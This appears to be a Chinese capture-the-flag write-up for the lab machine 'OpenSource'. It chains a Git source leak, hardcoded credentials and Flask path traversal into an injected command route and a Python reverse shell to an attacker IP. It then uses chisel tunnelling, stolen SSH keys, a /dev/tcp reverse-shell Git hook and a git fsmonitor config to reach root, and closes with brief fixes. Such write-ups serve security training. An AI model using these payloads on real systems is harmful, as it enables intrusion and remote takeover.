[Meachines] [Easy] OpenSource Git泄露+Flask目录穿越-RCE+Docker横向移动+Git[Hookconfig]+Tyrant权限提升
字数 1105 2025-08-22 12:23:36

Flask应用安全漏洞分析与利用:从Git泄露到Root权限提升

1. 信息收集阶段

1.1 目标识别

  • IP地址: 10.10.11.164
  • 开放端口:
    • 22/tcp: OpenSSH 7.6p1 Ubuntu
    • 80/tcp: HTTP (Werkzeug/2.1.2 Python/3.10.3)

1.2 Web应用指纹识别

使用whatweb识别Web技术栈:

whatweb http://10.10.11.164/
whatweb http://10.10.11.164/download

发现是一个基于Flask的上传服务,标题为"upcloud - Upload files for Free!"

2. Git源码泄露利用

2.1 发现Git仓库

访问/download端点获取源码压缩包:

wget http://10.10.11.164/download -O source.zip
unzip source.zip

2.2 分析Git历史

git branch
git checkout dev
git log
git diff c41fedef2ec6df98735c11b2faf1e79ef492a0f3 ee9d9f1ef9156c787d53074493e39ae364cd1e05

关键发现:

  • /uploads路由存在目录穿越漏洞
  • 发现开发凭据:
    • 用户名: dev01
    • 密码: Soulless_Developer#2022

3. Flask目录穿越与RCE漏洞利用

3.1 目录穿越漏洞

分析Dockerfileviews.py发现:

  • 应用会自动重载修改后的文件
  • 上传功能未正确过滤路径,导致可以覆盖任意文件

3.2 注入恶意路由

通过上传修改后的views.py添加RCE端点:

@app.route('/shell')
def execute():
    shell = request.args.get('shell')
    if shell:
        return subprocess.check_output(shell.strip(), shell=True)
    return "No command provided"

3.3 执行远程命令

使用curl触发RCE:

curl "http://10.10.11.164/shell?shell=python3%20-c%20%27import%20os%2Cpty%2Csocket%3Bs%3Dsocket.socket%28%29%3Bs.connect%28%28%2210.10.16.28%22%2C443%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cf%29for%20f%20in%280%2C1%2C2%29%5D%3Bpty.spawn%28%22sh%22%29%27"

4. Docker环境横向移动

4.1 上传工具

upload /home/maptnh/Desktop/htb/chisel_1.10.1_linux_amd64 /tmp
chmod +x /tmp/chisel_1.10.1_linux_amd64

4.2 建立隧道

攻击机:

chisel server --port 10000 -v --reverse --socks5

目标机:

/tmp/chisel_1.10.1_linux_amd64 client 10.10.16.28:10000 R:1080:socks

4.3 扫描内网

proxychains nmap -p- 172.17.0.1 -Pn

发现3000端口运行Git服务

5. Git服务利用

5.1 访问Git服务

使用之前发现的凭据登录:

http://172.17.0.1:3000
username: dev01
password: Soulless_Developer#2022

5.2 获取SSH私钥

从Git仓库获取用户私钥:

http://opensource.htb:3000/dev01/home-backup

转换私钥格式:

openssl rsa -in id_rsa -out true_id_rsa
chmod 600 true_id_rsa

5.3 SSH登录

ssh dev01@10.10.11.164 -i ./true_id_rsa

获取user.txt: 0c88a3ca8e6dad3c9661362d435233b8

6. 权限提升: Git Hook利用

6.1 发现Git同步脚本

cat /usr/local/bin/git-sync

发现系统会定期执行git同步操作

6.2 创建恶意pre-commit钩子

vim /home/dev01/.git/hooks/pre-commit

内容:

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.16.28/10038 0>&1

设置可执行权限:

chmod +x /home/dev01/.git/hooks/pre-commit

7. 最终权限提升: Tyrant利用

7.1 修改Git配置

cp config config.bak

修改.git/config:

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    fsmonitor = "/bin/bash -c '/tmp/tyrant'"

7.2 使用Tyrant提权

./tyrant -uid 0 -rhost 10.10.16.28 -rport 10038

获取root.txt: 60d907c88052f0d4b57a95e7b778f542

漏洞总结与修复建议

漏洞链总结:

  1. Git源码泄露 → 2. 硬编码凭据 → 3. 目录穿越 → 4. Flask RCE → 5. Docker逃逸 → 6. Git Hook提权

修复建议:

  1. 禁止.git目录的Web访问
  2. 避免在代码中硬编码凭据
  3. 实现严格的文件路径验证
  4. 禁用动态代码执行功能
  5. 限制Docker容器权限
  6. 审计Git Hook和同步脚本的安全性
Flask应用安全漏洞分析与利用:从Git泄露到Root权限提升 1. 信息收集阶段 1.1 目标识别 IP地址: 10.10.11.164 开放端口: 22/tcp: OpenSSH 7.6p1 Ubuntu 80/tcp: HTTP (Werkzeug/2.1.2 Python/3.10.3) 1.2 Web应用指纹识别 使用 whatweb 识别Web技术栈: 发现是一个基于Flask的上传服务,标题为"upcloud - Upload files for Free !" 2. Git源码泄露利用 2.1 发现Git仓库 访问 /download 端点获取源码压缩包: 2.2 分析Git历史 关键发现: /uploads 路由存在目录穿越漏洞 发现开发凭据: 用户名: dev01 密码: Soulless_ Developer#2022 3. Flask目录穿越与RCE漏洞利用 3.1 目录穿越漏洞 分析 Dockerfile 和 views.py 发现: 应用会自动重载修改后的文件 上传功能未正确过滤路径,导致可以覆盖任意文件 3.2 注入恶意路由 通过上传修改后的 views.py 添加RCE端点: 3.3 执行远程命令 使用curl触发RCE: 4. Docker环境横向移动 4.1 上传工具 4.2 建立隧道 攻击机: 目标机: 4.3 扫描内网 发现3000端口运行Git服务 5. Git服务利用 5.1 访问Git服务 使用之前发现的凭据登录: 5.2 获取SSH私钥 从Git仓库获取用户私钥: 转换私钥格式: 5.3 SSH登录 获取user.txt: 0c88a3ca8e6dad3c9661362d435233b8 6. 权限提升: Git Hook利用 6.1 发现Git同步脚本 发现系统会定期执行git同步操作 6.2 创建恶意pre-commit钩子 内容: 设置可执行权限: 7. 最终权限提升: Tyrant利用 7.1 修改Git配置 修改 .git/config : 7.2 使用Tyrant提权 获取root.txt: 60d907c88052f0d4b57a95e7b778f542 漏洞总结与修复建议 漏洞链总结: Git源码泄露 → 2. 硬编码凭据 → 3. 目录穿越 → 4. Flask RCE → 5. Docker逃逸 → 6. Git Hook提权 修复建议: 禁止.git目录的Web访问 避免在代码中硬编码凭据 实现严格的文件路径验证 禁用动态代码执行功能 限制Docker容器权限 审计Git Hook和同步脚本的安全性